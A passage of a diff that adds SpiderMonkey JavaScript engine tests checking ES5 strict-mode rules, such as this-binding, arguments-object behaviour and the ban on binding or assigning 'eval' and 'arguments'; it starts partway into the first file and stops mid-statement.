+++ b/js/src/tests/non262/strict/10.4.3.js
@@ -0,0 +1,58 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var obj = {}
+
+function strict() { "use strict"; return this; }
+assertEq(strict.call(""), "");
+assertEq(strict.call(true), true);
+assertEq(strict.call(42), 42);
+assertEq(strict.call(null), null);
+assertEq(strict.call(undefined), undefined);
+assertEq(strict.call(obj), obj);
+assertEq(new strict() instanceof Object, true);
+
+/*
+ * The compiler internally converts x['foo'] to x.foo. Writing x[s] where
+ * s='foo' is enough to throw it off the scent for now.
+ */
+var strictString = 'strict';
+
+Boolean.prototype.strict = strict;
+assertEq(true.strict(), true);
+assertEq(true[strictString](), true);
+
+Number.prototype.strict = strict;
+assertEq((42).strict(), 42);
+assertEq(42[strictString](), 42);
+
+String.prototype.strict = strict;
+assertEq("".strict(), "");
+assertEq(""[strictString](), "");
+
+function lenient() { return this; }
+assertEq(lenient.call("") instanceof String, true);
+assertEq(lenient.call(true) instanceof Boolean, true);
+assertEq(lenient.call(42) instanceof Number, true);
+assertEq(lenient.call(null), this);
+assertEq(lenient.call(undefined), this);
+assertEq(lenient.call(obj), obj);
+assertEq(new lenient() instanceof Object, true);
+
+var lenientString = 'lenient';
+
+Boolean.prototype.lenient = lenient;
+assertEq(true.lenient() instanceof Boolean, true);
+assertEq(true[lenientString]() instanceof Boolean, true);
+
+Number.prototype.lenient = lenient;
+assertEq(42[lenientString]() instanceof Number, true);
+
+String.prototype.lenient = lenient;
+assertEq(""[lenientString]() instanceof String, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/10.6.js b/js/src/tests/non262/strict/10.6.js
new file mode 100644
index 0000000000..3001d0ddcd
--- /dev/null
+++ b/js/src/tests/non262/strict/10.6.js
@@ -0,0 +1,55 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+function callFunctionBody(expr) {
+ return (
+ '(function f() {\n'
+ + 'Object.defineProperties(arguments, {1: { writable: false },\n'
+ + ' 2: { configurable: false },\n'
+ + ' 3: { writable: false,\n'
+ + ' configurable: false }});\n'
+ + 'return (' + expr + ');\n'
+ + '})(0, 1, 2, 3);');
+}
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[0] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[0]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[1] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[1]'),
+ returns(true), returns(true)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[2] = 42'),
+ returns(42), returns(42)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[2]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+assertEq(testLenientAndStrict(callFunctionBody('arguments[3] = 42'),
+ returns(42), raisesException(TypeError)),
+ true);
+
+assertEq(testLenientAndStrict(callFunctionBody('delete arguments[3]'),
+ returns(false), raisesException(TypeError)),
+ true);
+
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.1.5.js b/js/src/tests/non262/strict/11.1.5.js
new file mode 100644
index 0000000000..7ba12fa98a
--- /dev/null
+++ b/js/src/tests/non262/strict/11.1.5.js
@@ -0,0 +1,171 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Simple identifier labels. */
+assertEq(testLenientAndStrict('({x:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, y:1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Property names can be written as strings, too. */
+assertEq(testLenientAndStrict('({x:1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"x":1, "x":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Numeric property names. */
+assertEq(testLenientAndStrict('({1.5:1, 1.5:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1.5:1, 15e-1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 6.02214179e23:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({6.02214179e23:1, 3.1415926535:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 1: 1, "1": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "1": 1, 1: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ 2.5: 1, "2.5": 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({ "2.5": 1, 2.5: 2 })',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/* Many properties, to exercise JSAtomList's hash-table variant. */
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, z:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({a:1, b:1, c:1, d:1, e:1, f:1, g:1, h:1, i:1, j:1, k:1, l:1, m:1, n:1, o:1, p:1, q:1, r:1, s:1, t:1, u:1, v:1, w:1, x:1, y:1, a:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * Getters, setters, and value properties should conflict only when
+ * appropriate.
+ */
+assertEq(testLenientAndStrict('({get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({x:1, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({1:1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, 1:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({"1":1, set 1(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set 1(q) {}, "1":1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, get x() {}, x:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, get x() {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({set x(q) {}, set x(q) {}})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+assertEq(testLenientAndStrict('({get x() {}, set x(q) {}, y:1})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.13.1.js b/js/src/tests/non262/strict/11.13.1.js
new file mode 100644
index 0000000000..d3d3e6989d
--- /dev/null
+++ b/js/src/tests/non262/strict/11.13.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Simple assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.13.2.js b/js/src/tests/non262/strict/11.13.2.js
new file mode 100644
index 0000000000..678f0b614b
--- /dev/null
+++ b/js/src/tests/non262/strict/11.13.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Compound assignment expressions in strict mode code must not be
+ * assignments to 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('arguments+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)+=1',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.3.1.js b/js/src/tests/non262/strict/11.3.1.js
new file mode 100644
index 0000000000..159f785838
--- /dev/null
+++ b/js/src/tests/non262/strict/11.3.1.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix increment expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)++',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.3.2.js b/js/src/tests/non262/strict/11.3.2.js
new file mode 100644
index 0000000000..c8225e1297
--- /dev/null
+++ b/js/src/tests/non262/strict/11.3.2.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Postfix decrement expressions must not have 'eval' or 'arguments'
+ * as their operands.
+ */
+assertEq(testLenientAndStrict('arguments--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('eval--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(arguments)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(eval)--',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.1.js b/js/src/tests/non262/strict/11.4.1.js
new file mode 100644
index 0000000000..1125962a35
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.1.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/* Deleting an identifier is a syntax error in strict mode code only. */
+assertEq(testLenientAndStrict('delete x;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A reference expression surrounded by parens is itself a reference
+ * expression.
+ */
+assertEq(testLenientAndStrict('delete (x);',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Deleting other sorts of expressions are not syntax errors in either mode. */
+assertEq(testLenientAndStrict('delete x.y;',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('delete Object();',
+ returns(true),
+ returns(true)),
+ true);
+
+/* Functions should inherit the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { delete x; }',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Local directives override the surrounding code's strictness. */
+assertEq(testLenientAndStrict('function f() { "use strict"; delete x; }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.4.js b/js/src/tests/non262/strict/11.4.4.js
new file mode 100644
index 0000000000..bd22b54f5c
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.4.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix increment expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('++arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('++(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/11.4.5.js b/js/src/tests/non262/strict/11.4.5.js
new file mode 100644
index 0000000000..754b8f96ef
--- /dev/null
+++ b/js/src/tests/non262/strict/11.4.5.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * Prefix decrement expressions must not have 'eval' or 'arguments' as
+ * their operands.
+ */
+assertEq(testLenientAndStrict('--arguments',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--eval',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(arguments)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('--(eval)',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.10.1.js b/js/src/tests/non262/strict/12.10.1.js
new file mode 100644
index 0000000000..f45c77ad28
--- /dev/null
+++ b/js/src/tests/non262/strict/12.10.1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * 'with' statements are forbidden in strict top-level code. This is
+ * eval code, but that's close enough.
+ */
+assertEq(testLenientAndStrict('with (1) {}',
+ completesNormally,
+ raisesException(SyntaxError)),
+ true);
+
+/* 'with' statements are forbidden in strict function code. */
+assertEq(testLenientAndStrict('function f() { "use strict"; with (1) {} }',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * A use strict directive in a function mustn't affect the strictness
+ * of subsequent code.
+ */
+assertEq(parsesSuccessfully('function f() { "use strict"; }; with (1) {}'),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.14.1.js b/js/src/tests/non262/strict/12.14.1.js
new file mode 100644
index 0000000000..e7f9b303bd
--- /dev/null
+++ b/js/src/tests/non262/strict/12.14.1.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, the identifier bound by a 'catch' clause may not
+ * be 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('try{}catch(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('try{}catch({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.2.1-01.js b/js/src/tests/non262/strict/12.2.1-01.js
new file mode 100644
index 0000000000..674c7a7c60
--- /dev/null
+++ b/js/src/tests/non262/strict/12.2.1-01.js
@@ -0,0 +1,75 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode code, 'let' and 'const' declarations may not bind
+ * 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('let eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('let x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,eval = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('const x = undefined,arguments = undefined;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * In strict mode code, 'let' declarations appearing in 'for'
+ * or 'for in' statements may not bind 'eval' or 'arguments'.
+ */
+assertEq(testLenientAndStrict('for (let eval in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [eval] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:eval} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let arguments in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let [arguments] in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('for (let {x:arguments} in [])break;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/12.2.1.js b/js/src/tests/non262/strict/12.2.1.js
new file mode 100644
index 0000000000..ba348cf432
--- /dev/null
+++ b/js/src/tests/non262/strict/12.2.1.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(testLenientAndStrict('var eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,eval;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('var x,arguments;',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/strict/13.1.js b/js/src/tests/non262/strict/13.1.js
new file mode 100644
index 0000000000..137a36d10c
--- /dev/null
+++ b/js/src/tests/non262/strict/13.1.js
@@ -0,0 +1,345 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+/*
+ * In strict mode, it is a syntax error for an identifier to appear
+ * more than once in a function's argument list.
+ */
+
+/*
+ * The parameters of ordinary function definitions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('function f(x,y) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f(x,x) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,y,z,y) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/* Exercise the hashed local name map case. */
+assertEq(testLenientAndStrict('function f(a,b,c,d,e,f,g,h,d) {}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * SpiderMonkey has always treated duplicates in destructuring
+ * patterns as an error. Strict mode should not affect this.
+ */
+assertEq(testLenientAndStrict('function f([x,y]) {}',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+assertEq(testLenientAndStrict('function f([x,x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(x,[x]){}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Strict rules apply to the parameters if the function's body is
+ * strict.
+ */
+assertEq(testLenientAndStrict('function f(x,x) { "use strict" };',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+
+/*
+ * Calls to the function constructor should not be affected by the
+ * strictness of the calling code, but should be affected by the
+ * strictness of the function body.
+ */
+assertEq(testLenientAndStrict('Function("x","x","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","")',
+ completesNormally,
+ completesNormally),
+ true);
+assertEq(testLenientAndStrict('Function("x","x","\'use strict\'")',
+ raisesException(SyntaxError),
+ raisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('Function("x","y","\'use strict\'")',
+ completesNormally,
+ completesNormally),
+ true);
+
+
+/*
+ * The parameter lists of function expressions should not contain
+ * duplicate identifiers.
+ */
+assertEq(testLenientAndStrict('(function (x,x) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function (x,y) {})',
+ parsesSuccessfully,
+ parsesSuccessfully),
+ true);
+
+/*
+ * All permutations of:
+ * - For the two magic identifiers 'arguments' or 'eval'
+ * - For function definitions, function expressions, expression closures,
+ * and getter and setter property definitions,
+ * - For forms that inherit their context's strictness, and forms that
+ * include their own strictness directives,
+ * - For ordinary parameters, array destructuring parameters, and
+ * object destructuring parameters,
+ * - the magic identifiers may be used to name such parameters
+ * in lenient code, but not in strict code
+ * - the magic identifiers may be used as function names in lenient code,
+ * but not in strict code
+ */
+assertEq(testLenientAndStrict('function f(eval){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(eval){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([eval]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:eval}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function eval(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval(){"use strict";})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f(eval) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f([eval]) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function f({x:eval}) {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('(function eval() {})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){}})',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x(eval){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x([eval]){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('({set x({x:eval}){"use strict";}})',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:arguments}){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){}',
+ parsesSuccessfully,
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f(arguments){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f([arguments]){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function f({x:arguments}){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
+ true);
+assertEq(testLenientAndStrict('function arguments(){"use strict";}',
+ parseRaisesException(SyntaxError),
+ parseRaisesException(SyntaxError)),
